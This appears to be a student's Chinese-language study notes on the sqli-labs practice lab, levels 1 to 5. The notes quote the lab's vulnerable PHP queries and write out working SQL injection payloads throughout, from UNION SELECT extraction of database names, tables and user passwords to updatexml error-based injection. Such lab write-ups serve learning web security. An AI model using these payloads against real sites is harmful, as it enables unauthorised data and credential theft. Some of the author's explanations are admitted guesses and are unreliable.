sqllab-less1-5



typora-copy-images-to: note1Image

sqlLab - less1

  1. 检测是否有SQL注入,输入个引号跟后边,如果语法报错就说明我们的引号起作用了,也就是可以继续写其他的代码了

    ?id=1'

  2. 作为练习,先来查看一下源代码(只截取一部分)
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    // connectivity 
    
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    通过观察sql语句很容易得出注入方式, 加个or条件和注释符号就可以直接过掉了:

    SELECT * FROM users WHERE id='1' or 1 = 1 -- LIMIT 0,1

  3. 确定字段数量,通过order by 栏位号 就可以依次指定查询第几列了

    ?id= 1' order by 1 --+ 这个地方之所以写个+是因为url编码+是空格, 不然注释不掉后边的sql

    通过依次试,试到 order by 4的时候就报错了,可以得出列的数量为3

  4. 然后就可以通过联合查询进一步获取其他信息了

    ?id=-1' union select 1, user(), database() --+ ,结合user(), database()获得当前用户和数据库,但是如果写成的是 ?id=1' union select 1, user(), database() --+的话得出的结果还是合法信心,联合查询的话就是将两个查询的结果放到一张表中,然后属性名保留的还是第一个查询的名字,所以在使用联合查询的时候,看属性名是没用的,比如说在这个例子中

    ?id=1' union select 1, user(), database() --+得到的结果是合法 的信息

    这并不是说我们的联合查询没有生效,而是在limit 0,1的限制下,查询的结果只处理的是前面第一条,完整sql语句就是下面这个:

    SELECT * FROM users WHERE id='1' union select 1,user(),database() --+ LIMIT 0,1

    所以我们只要前面部分查询不到结果就行,那么查询到的第一条结果就是后面的了,也就是id换成一个查不到的,结果如下

  5. 进一步爆破获得其他信息,通过information-schema这个库去获得其他信息

    结合图片可以看出这个库里面有个tables表,有两个列存的是我们需要的信息

    那么就可以在联合查询的基础上进一步操作了

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

    结果:

    可以结合下面两个图熟悉一下group_concat()拼接函数:

  6. 爆破列名

    通过columns这个表就很容易了,只需要在改变一下联合查询的那一部分就行了

    ?id=-1' union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema=database(); --+

    可以结合下面的查询更方便明白得出的都是啥

  7. 爆破数据值

    通过上一步已经知道这个数据库有哪些表,还有就是对应的表有哪些字段,那接下来就是直接查相应的表就可以拿到具体的数据了

    查询语句select 1,group_concat(username),group_concat(password) from users;

    注入:

    ?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

    进行比对一下

    结束:

    less1并没有涉及到什么过滤之类的,所以基本上各种方式都会有效果,这里主要是为了熟悉熟悉一些可用的方式。

sqlLab - less2

1. 同样先来看看源码,可以看到不同之处在于'$id' 变成了$id
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

单纯拿sql语句来看好像加不加引号也没什么不一样啊?不加也还是可以访问,而且?id=1'也是会语法报错

2. 按照less1的方式,先看看字段数

?id=1 order by 1 --+

看着和前面似乎还没有什么不同

3. 联合查询继续爆破出数据库名和用户名

?id=-1 union select 1,user(),database() --+

还是没看出什么不同

4. 爆破出表信息(可以选择直接从columns表中获取)

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

还是没看出有什么不同

5. 爆破字段

?id=-1 union select 1, group_concat(table_name), group_concat(column_name) from information_schema.columns where table_schema=database() --+

还是没什么不同

6. 爆破值

?id=-1 union select group_concat(id),group_concat(username),group_concat(password ) from users --+

到这了,less1的操作还是完全使用。。这**是有什么不同吗?

总结:

sql查询换成整形(不加引直接用数字去比较)和字符型应该是没什么区别的。

不过这个过程可能会发现为什么我查出来的字段明明是三个,却正好显示的是需要的哪两个。

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result); // 原因在于这个函数的处理,应该是处理查询结果的第二第三个参数,然后重新构建到一个row数组

Sqllab-less3

1. 看看源码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

不一样的是加了引号加了括号。

初看好像和前面差别不大,顶多多加个反括号进行闭合而已

2. 试试看看还会不会语法报错

?id=1'

可以发现,还是会语法报错,说明'起作用,没有被过滤

3. 照搬套路
3.1 查字段数

? ?id=1') order by 1 --+ , 一切正常

3.2 查数据库名,用户名

? ?id=-1') union select 1,user(),database() --+

3.3 查表名,字段名

? ?id=-1') union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema=database() --+

? 正常

3.4 查值(0x3a代表的16进制对应的字符是'??,这里只是换了一种显示方式,思路不变

? ?id=-1') union select 1,2,group_concat(username, 0x3a,password) from users --+

总结:

和前面一毛一样,不同的就是稍微换了点闭合方式

sqllab-Less4

1. 看源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"' . $id . '"';			// id做了拼接
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

很容易看出,不一样的地方是对取得的$id加了个引号,也就等价于

SELECT * FROM users WHERE id=("1") LIMIT 0,1

这好像也很容易直接加个引号,然后注释掉后边的

select * from users where id=("1") --+ ")

注入:?id=1") --+ "), 这个地方注释后面爱写啥写啥,反正都是被注释掉的

结果:

那后面就很容易了。

这个地方并没有通过语法报错去探测是不是注入点(判断是不是注入点也就是判断输入的符号有没有被过滤,没有就说明这可能是个注入点),因为第一步都是直接看源码了,所以符号有没有被过滤直接就能看出来,如果没有源码可以看的时候就得慢慢去试是不是注入点了。

2. 常规操作
2.1 查看字段数

? ?id=-1") order by 4 --+

2.2 获取表和列

? ?id=-1") union select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema=database() --+

2.3 获取值

? ?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+

总结:

? sql查询方式:($id), 在取得$id时附加双引号,

? 注入方式:闭合双引号和括号

sqllab-Less5

1. 看源码
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

我他喵的也是佛了,这不是和前面第一关一样吗???我还是从前那个少年没有一丝的改变~

算了,直接上结果吧

查表和列名:

?id=-1' union select 1,group_concat(table_name), group_concat(column_name) from information_schema.columns where table_schema=database --+

我去,竟然没用了。

源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"; echo "
"; } else { echo ''; print_r(mysql_error()); echo "
"; echo ''; } } else { echo "Please input the ID as parameter with numeric value";}

可以发现,无论上面查到了什么,进入的第一个判断是没有有用的信息显示的,都是已经固定了,

而可以动态输出的地方只有print_r(mysql_error());

也就是只要输出我们的信息到错误信息中就能看到了。

2. 基于updatexml的报错注入浅析
2.1 updatexml是什么

? 就先简单理解成sql中对xml文档进行处理的一个函数(就像user(),database()),只不过这个函数有个参数是依照Xpath语法进行 的,这个地方的语法写的不对就会出现报错信息。

? 我也不怎么明白,就先理解到这吧,这里贴个网上的函数参数说明

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据 

而对于我们要利用这个函数的报错信息,第一个参数随便起个就行,第二个参数可以通过contact函数嵌套一些sql语句进去,这样就能执行我们想要执行的语句了,第三个参数

下面给出一些尝试:

  • 直接使用这个函数

    select update(1, '1.txt', 1); 出现了一个Xpath语法报错

  • 改参数(懒得一个个写思路了,自己怎么想就怎么试)

    这里得出的结果就不做解释了,因为我也只是猜测

  • 将第二个参数换成contact函数,这个是重点

    select updatexml(5, concat(1, (select database()), 9), 3);

    结果:

    concat函数是和group_concat类似,拼接用的,但是在这用group_concat会得到一个错误,说的是group_concat()得出的不是一个常量xpath;

    至于为什么concat函数前面要加个1拼接,因为不加1拼接在前面xpath语法就通过了,就会得到的是正常的查询结果

至于第三个参数,加不加好像无所谓,不加xpath语法也会错

还剩concat的第二个参数,

可以看到存在注入点

3.2 尝试添加updatexml()函数

进一步加到后边

?id=1' and updatexml(1, concat(1, database()), 1) --+

现在来看这个应该很好理解了,updatexml的1,3参数随便填点就行,中间参数用concat()函数,通过concat函数执行我们想要执行的sql代码

可以看到database()执行的结果显示了出来security

3.3 联合查询获取表和列信息

?id=-1' and updatexml(1, concat(1, (select group_concat(table_name, 0x3a,column_name) from information_schema.columns where table_schema=database())), 1) --+

这个地方只是查询的地方换成了前面几关用到的查询,没啥难

看一下这个查询原本该是的结果

看看浏览器中注入的结果

这多半是xpath报错的字符长度限制

稍微修改一下,只看表,加个distinct去掉重复的

?id=-1' and updatexml(1, concat(1, (select group_concat(distinct table_name) from information_schema.columns where table_schema=database())), 1) --+

没办法,这个updatexml长度有限,尽量少的信息

查看users表的列名

?id=-1' and updatexml(1, concat(1, (select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='users')), 1) --+

虽然长度的限制用起来挺麻烦,但是这个方法还是勉强能用

查username属性值,一般来说一个正常的数据库每一列的属性值都是n多行,可以通过limit一次查一部分

?id=-1' and updatexml(1, concat(1, (select group_concat(username) from users limit 0,5)), 1) --+

然后通过用户名查密码就很容易了。懒得写了,就到这了。